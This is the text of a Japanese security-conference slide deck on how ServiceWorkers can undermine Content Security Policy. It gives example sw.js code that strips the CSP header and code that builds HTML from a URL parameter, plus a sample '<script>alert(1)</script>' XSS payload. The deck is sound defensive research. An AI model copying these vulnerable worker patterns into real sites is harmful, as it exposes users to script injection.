CSPを無意味にする残念なServiceWorker

11.3K Views

July 24, 23

スライド概要

Shibuya.xss techtalk #12

シェア

またはPlayer版

埋め込む »CMSなどでJSが使えない場合

関連スライド

各ページのテキスト
1.

CSPを無意味にする 残念なServiceWorker はせがわようすけ @hasegawayosuke

2.

C S P 突 破 テ ク ニ ッ ク が つ い に 公 開 ‼ Shibuya.xss #12 こ こ で 提供 Shibuya.XSS UTF-8.jp し か 見 ら れ な い S W に よ 2023-07-25 る #shibuyaxss

3.

0. 予備知識 ServiceWorkerって? Shibuya.xss #12 2023-07-25 #shibuyaxss

4.
[beta]
ServiceWorkerって?
 Webページ内(ブラウザー上)のバックグラウンドで動作するJavaScript環
境
 バックグラウンドでキャッシュを制御しオフライン時でもコンテンツへのアクセスを提供す
る
 Webアプリからのプッシュ通知を受け取りユーザーに伝える等が実現できる機能

ブラウザー

SW

キャッシュ
Shibuya.xss #12 2023-07-25

ネットワーク

レンダラー

document.addEventListener('DOMContentLoaded', (event) => {
if ('serviceWorker' in navigator) {
try {
navigator.serviceWorker.register('/sw.js', {
'scope': './'
})
} catch (e) {
console.error(e)
}
}
))
#shibuyaxss

5.
[beta]
ServiceWorkerって?
 レンダラーからのfetchイベント(サーバーへのリクエスト)をフッ
クしリクエスト/レスポンスを加工することができる
 主にキャッシュの制御に使われる
// sw内でfetchイベントを捕捉
self.addEventListener('fetch', async (evt) => {
const url = new URL(evt.request.url)
if (url.pathname === '/hello') {
// キャッシュからレスポンスを探す
res = await caches.match(evt.request)
// レスポンスを返す
evt.respondWith(res)
}
}

Shibuya.xss #12 2023-07-25

sw.js

#shibuyaxss

6.

ServiceWorkerって?  HTTPでの通信箇所が増えた!  レンダラーとSWの間、SWとサーバーの間  サーバーがCSPを返しても、レンダラーに伝わらないときがある んじゃない?  …というのが今日のテーマ レンダラー ServiceWorker CSP? Shibuya.xss #12 2023-07-25 ネットワーク ブラウザー CSP! #shibuyaxss

7.

1. SWがCSPを削除して レンダラーに返すパターン Shibuya.xss #12 2023-07-25 #shibuyaxss

8.
[beta]
SWがCSPを削除してレンダラーに返すパターン
 SWはレンダラー側のfetchのリクエスト/レスポンスに介入する
ことができる
 SWがNWからのCSPを削除した場合どうなる?
Content-Type: text/html
Server: nginx
Content-Length: 12345
<!doctype html>
....
ブラウザー

レンダラー
Shibuya.xss #12 2023-07-25

Content-Type: text/html
Content-Security-Policy: script-src 'none';
Server: nginx
Content-Length: 12345
<!doctype html>
....

ServiceWorker
#shibuyaxss

9.
[beta]
SWがCSPを削除してレンダラーに返すパターン
self.addEventListener('fetch', async (evt) => {
// sw内でfetchイベントを捕捉
sw.js
const url = new URL(evt.request.url)
if (url.pathname === '/foo/demo.html') {
evt.respondWith(
(async () => {
const respondFromNetwork = await fetch(evt.request) // サーバーにfetchする
const cloned = respondFromNetwork.clone() // 直接ヘッダーを改ざんはできないので複製
const { status, statusText } = cloned
const headers = new Headers(cloned.headers)
headers.delete('Content-Security-Policy') // CSPヘッダーを削除
const responseToBrowser =
new Response(cloned.body,
{ status, statusText, headers })
return responseToBrowser // CSPを削除したレスポンスをレンダラーに返す
})()
)
}
}
Shibuya.xss #12 2023-07-25

#shibuyaxss

10.

SWがCSPを削除してレンダラーに返すパターン SWが生成した レスポンス ネットワークからの レスポンス 生成したレスポンスではCSP ヘッダーが削除されている ネットワークからのレスポンスでは CSPがついている Shibuya.xss #12 2023-07-25 #shibuyaxss

11.

SWがCSPを削除してレンダラーに返すパターン Shibuya.xss #12 2023-07-25 #shibuyaxss

12.

SWがCSPを削除してレンダラーに返すパターン  さすがにこんな不自然なコードはなさそう  swは通信に介入できるが、直接的にレスポンスヘッダーを改ざんするこ とはできない  レスポンスヘッダーをコピーした上でCSPを削除する(CSP以外のレスポ ンスヘッダーをコピーする)のような意図的なコードが必要 ➡ もうちょっと現実にありそうなコードを考える! Shibuya.xss #12 2023-07-25 #shibuyaxss

13.

2. SW内でリダイレクトさせる パターン Shibuya.xss #12 2023-07-25 #shibuyaxss

14.

SW内でリダイレクトさせるパターン  サーバー側のリソースの配置が換わったのをSWを使ってクライア ント側でURLを書き換える // SW内でURLを書き換えてfetch https://site-1.example/old/module.js https://site-1.example/module.js ブラウザー レンダラー Shibuya.xss #12 2023-07-25 ServiceWorker #shibuyaxss

15.
[beta]
SW内でリダイレクトさせるパターン
sw.js

self.addEventListener('fetch', async (evt) => {
// sw内でfetchイベントを捕捉
const url = new URL(evt.request.url)
if (url.pathname.startWith('/old/') {
const newUrl = url.pathname.replace('/old/', '/') // 「/old/」を「/」に置換
const res = await fetch(newUrl) // 書き換えたURLでfetch
evt.respondWith(res)
}
}
const script = 'https://site-1.example/old//site-2.example/alert.js'
const module = await import(script)

レンダラー

 レンダラーから見るとsite-1.exampleへの通信のためCSP:
script-src 'self' 等には違反しない?
➡ 駄目でした。レンダラーはレスポンスを受け取ってからもCSP検証
してるっぽい

Shibuya.xss #12 2023-07-25

#shibuyaxss

16.

3. SW内でHTMLを 生成するパターン Shibuya.xss #12 2023-07-25 #shibuyaxss

17.

SW内でHTMLを生成するパターン  SWはレスポンスそのものを生成してレンダラーに返すことができ る  <script>タグの含まれるHTMLを生成しレスポンスとして返せる GET /foo/bar HTTP/1.1 Host: https://site-1.example/ ブラウザー レンダラー <!doctype html> <html> <script>...</script> </html> Shibuya.xss #12 2023-07-25 ServiceWorker #shibuyaxss

18.
[beta]
SW内でHTMLを生成するパターン
self.addEventListener('fetch', async (evt) => {
// sw内でfetchイベントを捕捉
sw.js
const url = new URL(evt.request.url)
if (url.pathname === '/demo3') {
const name = url.searchParams.get('name') || 'Anonymous' // URL内nameパラメータの値
const html = `<html><body>Hello, ${name}</body></html>` // HTMLを生成
const res = new Response(html, { headers: { 'Content-Type': 'text/html' } })
evt.respondWith(res) // 生成したHTMLをレンダラーに応答
}
}

`https://site-1.example/?name=<script>alert(1)</script>`
などでSCRIPT要素の含まれたHTMLが生成されレンダラー上で表示される

Shibuya.xss #12 2023-07-25

#shibuyaxss

19.

SW内でHTMLを生成するパターン SWからの応答のみでネットワークへの通信がない (どうでもいい小ネタ) DOM操作ではないので `<script>` が効く Shibuya.xss #12 2023-07-25 #shibuyaxss

20.

3.まとめ Shibuya.xss #12 2023-07-25 #shibuyaxss

21.

まとめ  CSPが設定されていてもSWの使い方が悪いと任意のJSが動く  SW自体がCSPで保護されている場合であってもJSの注入が可能  「CSPが設定されているのでXSSがあっても平気」とは言えない  とはいえこういうSWの使い方はたぶん普通はしない  「SW内でHTMLを生成する」のパターンはあり得るかもしれない  SW内でレスポンスを生成する場合はCSPもあわせて生成すること!  脆弱性診断で探すのも難しい  サーバーにリクエストが送信されない(≒DOM-based XSS)  直接的にDOMを操作するコードはない  DOM Invaderでも検出できず Shibuya.xss #12 2023-07-25 #shibuyaxss

22.

まとめ  サーバーの返すネットワーク上のレスポンスに加え、SWが生成す る(仮想的な)レスポンスが増えた!  これまでの挙動の齟齬が出る箇所があるかも?  ブラウザーの脆弱性を探す人にはもしかしたら狙い目かも レンダラー ServiceWorker res? Shibuya.xss #12 2023-07-25 ネットワーク ブラウザー res! #shibuyaxss

23.

Question? @hasegawayosuke @hasegawa.bsky.social Shibuya.xss #12 2023-07-25 #shibuyaxss